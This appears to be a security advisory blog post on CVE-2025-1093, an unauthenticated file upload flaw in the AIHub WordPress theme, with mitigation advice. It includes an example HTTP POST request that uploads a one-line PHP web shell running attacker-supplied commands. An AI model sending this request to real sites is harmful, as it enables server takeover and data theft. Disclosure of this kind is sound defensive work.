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CVE-2025-1093: Critical File Upload Vulnerability in AIHub WordPress Theme

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Overview

The AIHub WordPress theme suffers from a critical vulnerability that exposes users to significant security risks. This theme, used by numerous WordPress sites globally, contains a flaw that leaves it susceptible to arbitrary file uploads from unauthenticated attackers. The potential consequences of this security flaw can be dire, with the risk of remote code execution on the affected server being a significant threat. This vulnerability, identified as CVE-2025-1093, is a pressing issue that demands immediate attention due to its high severity.

Vulnerability Summary

CVE ID: CVE-2025-1093
Severity: Critical (9.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

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Product | Affected Versions

AIHub Theme for WordPress | Up to and including 1.3.7

How the Exploit Works

The vulnerability resides in the generate_image function of the AIHub theme. This function lacks proper file type validation, thereby providing a loophole for attackers to upload arbitrary files. An unauthenticated attacker can exploit this vulnerability by sending a specifically crafted HTTP POST request to upload a malicious file to the server. Once uploaded, this file could be executed on the server, leading to possible system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. The attacker sends a malicious payload embedded within an HTTP POST request to the vulnerable endpoint.

POST /wp-content/themes/aihub/generate_image.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uploads a PHP shell file that can execute arbitrary shell commands controlled by the attacker.

Mitigation Guidance

It is recommended to apply the vendor patch as soon as it is available to fix this vulnerability. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. These systems can detect and block malicious file uploads, thereby preventing the exploitation of this vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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